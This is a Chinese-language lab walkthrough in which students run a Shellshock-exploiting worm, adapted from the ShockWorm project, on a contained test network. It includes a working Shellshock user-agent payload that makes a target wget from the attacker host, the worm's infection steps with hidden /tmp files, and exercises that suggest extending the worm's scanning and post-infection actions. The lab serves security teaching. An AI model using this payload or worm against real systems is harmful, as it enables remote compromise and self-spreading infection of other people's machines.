1. 程式人生 > 其它 >基於破殼漏洞的蠕蟲實踐

基於破殼漏洞的蠕蟲實踐

蠕蟲簡介

蠕蟲定義:一種能夠利用系統漏洞通過網路進行自我傳播的惡意程式。它不需要附著在其他程式上,而是獨立存在的。當形成規模、傳播速度過快時會極大地消耗網路資源導致大面積網路擁塞甚至癱瘓。

計算機蠕蟲與計算機病毒相似,是一種能夠自我複製的計算機程式。

與計算機病毒不同的是,計算機蠕蟲不需要附在別的程式內,可能不用使用者介入操作也能自我複製或執行。它是直接在主機之間的記憶體中進行傳播的。計算機蠕蟲未必會直接破壞被感染的系統,卻幾乎都對網路有害。計算機蠕蟲可能會執行垃圾程式碼以發動分散式阻斷服務攻擊,令計算機的執行效率極大程度降低,從而影響計算機的正常使用;可能會損毀或修改目標計算機的檔案;亦可能只是浪費頻寬。(惡意的)計算機蠕蟲可根據其目的分成2類:

一類是面對大規模計算機網路發動拒絕服務的計算機蠕蟲。

另一類是針對個人使用者的執行大量垃圾程式碼的計算機蠕蟲。

本次實驗蠕蟲簡介

本次實驗使用的蠕蟲,是根據github上名為ShockWorm的蠕蟲(專案地址:https://github.com/matlink/ShockWorm/blob/master/shellshock.pl)改編而成。改動有以下幾點:

1.原蠕蟲只感染一臺主機,本實驗蠕蟲擴大了範圍,使其真正擁有了蠕動性,可以自行傳播(限制了蠕動範圍)。

2.原蠕蟲在感染主機後會修改系統檔案,並且截獲執行sudo命令時輸入的口令。本實驗蠕蟲刪除了此功能,在感染與完成傳播之後,僅執行sleep操作。

本實驗分為三個任務:

任務一:判斷10.1.1.12主機web服務的test.cgi是否存在破殼漏洞;

任務二:蠕蟲發起者執行蠕蟲程式,感染1號主機Worm1;

任務三:觀察Worm1主機蠕蟲的傳播過程,檢查Worm2主機是否被感染。

任務描述:判斷10.1.1.12主機web服務的test.cgi是否存在破殼漏洞

1.使用ssh登入蠕蟲發起者主機(10.1.1.231),執行下面三條命令。命令執行結果如下圖所示。

[root@worm-master ~]# tail /var/log/httpd/access_log

[root@worm-master ~]# curl -A “() { :; }; /usr/bin/wget http://10.1.1.231/shock” http://10.1.1.12/test.cgi

[root@worm-master ~]# tail /var/log/httpd/access_log

2.根據最後一條命令的結果,蠕蟲發起者主機(10.1.1.231)的web日誌中出現了worm1的訪問記錄,說明worm1主機(10.1.1.12)存在破殼漏洞。

任務描述:蠕蟲發起者執行蠕蟲程式,感染1號主機Worm1。

1.為了避免自身被感染,向蠕蟲表明自己是發起者的身份,我們需要登入10.1.1.231主機,通過下面的命令建立一個檔案。

[root@worm-master ~]# touch /tmp/key.txt

2.繼續在10.1.1.231上執行下面的命令,可以找到蠕蟲程式。

[root@worm-master shockworm]# cd /root/shockworm/

[root@worm-master shockworm]# ls

Shellshock.pl

3.登入worm1,檢視/tmp目錄。

[root@worm-test1 tmp]# ls -al

total 12

drwxrwxrwt. 3 root root 4096 Jun 25 03:25 .

dr-xr-xr-x. 22 root root 4096 Jun 24 11:35 ..

drwxrwxrwt. 2 root root 4096 Jun 24 11:35 .ICE-unix

-rw-------. 1 root root 0 Jan 9 2014 yum.log

4.繼續返回10.1.1.231主機,執行下面的命令,來執行蠕蟲程式。

[root@worm-master shockworm]# perl shellshock.pl

local ip is 10.1.1.231

targetIP is 10.1.1.12...

Done!

[root@worm-master shockworm]#

5.登入Worm1,執行下面的命令,觀察被感染的特徵。

[root@worm-test1 tmp]# ls -al

total 16

drwxrwxrwt. 4 root root 4096 Jun 25 13:52 .

dr-xr-xr-x. 22 root root 4096 Jun 24 11:35 ..

drwxrwxrwt. 2 root root 4096 Jun 24 11:35 .ICE-unix

drwxr-xrwx. 2 apache apache 4096 Jun 25 13:52 .ssh-mOTc45gfXwPj

-rw-------. 1 root root 0 Jan 9 2014 yum.log

[root@worm-test1 tmp]# ls .ssh-mOTc45gfXwPj/

agent.1336 agent.1337

[root@worm-test1 tmp]# ps aux | grep agent.1337

apache 1827 0.0 0.8 33884 4420 ? S Jun24 0:00 /usr/bin/perl /tmp/.ssh-mOTc45gfXwPj/agent.1337

root 3512 0.0 0.1 103244 864 pts/1 S+ 13:56 0:00 grep agent.1337

通過對比/tmp目錄可以發現,Worm1已經被感染了shockworm蠕蟲程式,如下圖。

1.登入Worm1(10.1.1.12),不斷的執行命令:“ps aux |grep curl”可以看到蠕蟲的傳播過程,被感染的Worm1通過agent.1337程序,不斷的向同網段的其他主機發起攻擊與感染。如下所示:

[root@worm-test1 tmp]# ps aux | grep curl

apache 3741 0.0 0.2 11300 1280 ? S 14:03 0:00 sh -c curl http://10.1.1.16/test.cgi 2>/dev/null | grep Hi | wc -l

apache 3742 0.0 0.6 73992 3072 ? S 14:03 0:00 curl http://10.1.1.16/test.cgi

root 3752 0.0 0.1 103244 852 pts/1 S+ 14:03 0:00 grep curl

[root@worm-test1 tmp]# ps aux | grep curl

apache 3753 0.0 0.2 11300 1276 ? S 14:03 0:00 sh -c curl http://10.1.1.17/test.cgi 2>/dev/null | grep Hi | wc -l

apache 3754 0.0 0.6 73992 3076 ? S 14:03 0:00 curl http://10.1.1.17/test.cgi

root 3758 0.0 0.1 103244 856 pts/1 S+ 14:03 0:00 grep curl

從上面命令的執行結果,可以看出,蠕蟲正在攻擊10.1.1.171和10.1.1.183。

2.經過一段時間之後(大約10分鐘),登入Worm2。同樣使用命令:”ls -al /tmp”檢視,可以發現主機也被此蠕蟲感染。對比效果如下圖:

1、閱讀10.1.1.231主機上的shellshock.pl檔案原始碼,學習蠕蟲的自我複製與傳播過程。

2、嘗試修改該檔案原始碼,新增更多的掃描項(而不是僅僅掃描test.cgi檔案),或者修改蠕蟲感染主機之後的動作(而不是僅僅sleep)。

3、下載shockworm蠕蟲原作者的demo視訊https://github.com/matlink/ShockWorm/blob/master/demo.ogv,在瀏覽器中觀看視訊。通過對比此視訊與實驗過程,體會實驗中的程式與原程式的差異.